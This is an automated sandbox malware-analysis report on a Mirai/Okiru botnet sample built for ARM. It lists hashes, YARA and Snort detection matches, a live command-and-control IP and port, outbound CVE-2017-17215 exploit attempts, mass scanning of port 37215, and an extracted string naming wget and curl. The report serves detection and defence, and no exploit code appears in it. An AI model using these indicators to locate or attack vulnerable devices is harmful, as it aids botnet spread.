Edit tour

Linux Analysis Report
huhu.arm5.elf

Overview

General Information

Sample name:	huhu.arm5.elf
Analysis ID:	1400760
MD5:	09e6c6c8330f01d354b6b314ef52e93a
SHA1:	cd9f7f27f60c44bde0c9743e75e251ea2c0b6283
SHA256:	01155941a803312856feaae1c8d58f5895f50b305e0544b705978c12435c48fa
Infos:

Detection

Mirai, Okiru

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Detected Mirai

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Mirai

Yara detected Okiru

Connects to many ports of the same IP (likely port scanning)

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

Analysis Advice

Some HTTP requests failed (404). It is likely that the sample will exhibit less behavior.

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures.

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1400760
Start date and time:	2024-02-29 10:19:45 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 19s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	huhu.arm5.elf
Detection:	MAL
Classification:	mal100.troj.linELF@0/1025@21/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/huhu.arm5.elf
PID:	5498
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	done.
Standard Error:

Process Tree

system is lnxubuntu20

huhu.arm5.elf (PID: 5498, Parent: 5416, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/huhu.arm5.elf

huhu.arm5.elf New Fork (PID: 5500, Parent: 5498)

huhu.arm5.elf New Fork (PID: 5502, Parent: 5500)

huhu.arm5.elf New Fork (PID: 5503, Parent: 5500)

huhu.arm5.elf New Fork (PID: 5505, Parent: 5500)

huhu.arm5.elf New Fork (PID: 5507, Parent: 5500)

gnome-session-binary New Fork (PID: 5513, Parent: 1383)

sh (PID: 5513, Parent: 1383, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-print-notifications

gsd-print-notifications (PID: 5513, Parent: 1383, MD5: 71539698aa691718cee775d6b9450ae2) Arguments: /usr/libexec/gsd-print-notifications

gsd-print-notifications New Fork (PID: 5519, Parent: 5513)

gsd-print-notifications New Fork (PID: 5520, Parent: 5519)

gsd-printer (PID: 5520, Parent: 1, MD5: 7995828cf98c315fd55f2ffb3b22384d) Arguments: /usr/libexec/gsd-printer

gdm3 New Fork (PID: 5521, Parent: 1289)

Default (PID: 5521, Parent: 1289, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /etc/gdm3/PrimeOff/Default

gdm3 New Fork (PID: 5540, Parent: 1289)

Default (PID: 5540, Parent: 1289, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /etc/gdm3/PrimeOff/Default

systemd New Fork (PID: 5545, Parent: 1)

systemd-user-runtime-dir (PID: 5545, Parent: 1, MD5: d55f4b0847f88131dbcfb07435178e54) Arguments: /lib/systemd/systemd-user-runtime-dir stop 127

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
huhu.arm5.elf	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
huhu.arm5.elf	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
huhu.arm5.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
huhu.arm5.elf	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x1abdc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1abf0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac04:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac18:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac2c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac40:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac54:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac68:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac7c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac90:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1aca4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1acb8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1accc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ace0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1acf4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ad08:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ad1c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ad30:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ad44:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ad58:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ad6c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F

Memory Dumps

Source	Rule	Description	Author	Strings
5498.1.00007f18e0017000.00007f18e0035000.r-x.sdmp	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
5498.1.00007f18e0017000.00007f18e0035000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5498.1.00007f18e0017000.00007f18e0035000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5498.1.00007f18e0017000.00007f18e0035000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x1abdc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1abf0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac04:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac18:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac2c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac40:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac54:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac68:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac7c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ac90:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1aca4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1acb8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1accc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ace0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1acf4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ad08:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ad1c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ad30:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ad44:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ad58:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ad6c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: huhu.arm5.elf PID: 5498	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
Process Memory Space: huhu.arm5.elf PID: 5498	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: huhu.arm5.elf PID: 5498	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x6c5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6d9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6ed:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x701:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x715:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x729:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x73d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x751:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x765:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x779:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x78d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7a1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7b5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7c9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7dd:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7f1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x805:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x819:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x82d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x841:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x855:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Click to see the 2 entries

Snort Signatures

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:22:11.631175
SID:	2030490
Source Port:	43588
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:21:41.801352
SID:	2030490
Source Port:	43496
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:20:54.037578
SID:	2030490
Source Port:	43410
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:20:59.872962
SID:	2030490
Source Port:	43412
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:22:03.813169
SID:	2030490
Source Port:	43576
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:22:27.224409
SID:	2030490
Source Port:	43618
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:21:51.203944
SID:	2030490
Source Port:	43552
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.119.20.252

Timestamp:	02/29/24-10:22:21.044578
SID:	2835222
Source Port:	40982
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:21:45.391774
SID:	2030490
Source Port:	43522
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:22:46.424403
SID:	2030490
Source Port:	43664
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:20:43.425700
SID:	2030490
Source Port:	43406
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:21:43.585416
SID:	2030490
Source Port:	43518
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:22:01.000019
SID:	2030490
Source Port:	43564
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:20:47.222549
SID:	2030490
Source Port:	43408
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:22:32.810830
SID:	2030490
Source Port:	43640
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:22:22.433422
SID:	2030490
Source Port:	43610
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:22:40.610977
SID:	2030490
Source Port:	43662
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:21:22.234837
SID:	2030490
Source Port:	43436
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:21:31.042686
SID:	2030490
Source Port:	43468
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:21:08.674821
SID:	2030490
Source Port:	43414
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.119.20.252

Timestamp:	02/29/24-10:22:21.044578
SID:	2829579
Source Port:	40982
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:22:30.016882
SID:	2030490
Source Port:	43626
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.179.172.139

Timestamp:	02/29/24-10:21:15.457385
SID:	2030490
Source Port:	43424
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: huhu.arm5.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: huhu.arm5.elf	ReversingLabs: Detection: 65%
Source: huhu.arm5.elf	Virustotal: Detection: 61%			Perma Link

Source: huhu.arm5.elf

String: /proc/proc/%d/cmdlinerwgetcurlbusybox/bin/busyboxechocatnanotfpt

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:43406 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:43408 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:43410 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:43412 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:43414 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:43424 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:43436 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:43468 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:43496 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:43518 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:43522 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:43552 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:43564 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:43576 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:43588 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:40982 -> 157.119.20.252:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:40982 -> 157.119.20.252:37215
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:43610 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:43618 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:43626 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:43640 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:43662 -> 103.179.172.139:19990
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:43664 -> 103.179.172.139:19990

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 157.119.20.90 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.167.57.206 ports 1,2,3,5,7,37215

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 40982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40982 -> 37215

Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.64.191.36:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.148.228.103:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.246.91.26:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.134.174.26:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.101.180.101:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 89.161.94.99:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.231.133.253:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 105.125.30.153:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 93.32.62.213:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.184.183.244:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 217.97.107.112:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.240.130.139:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.115.235.107:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.9.35.206:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.255.93.150:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.64.133.69:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.204.253.40:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.20.145.229:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.106.121.9:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.59.245.216:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 197.52.220.197:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.26.240.1:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 157.29.146.166:37215
Source: global traffic	TCP traffic: 192.168.2.14:35743 -> 41.161.192.133:37215
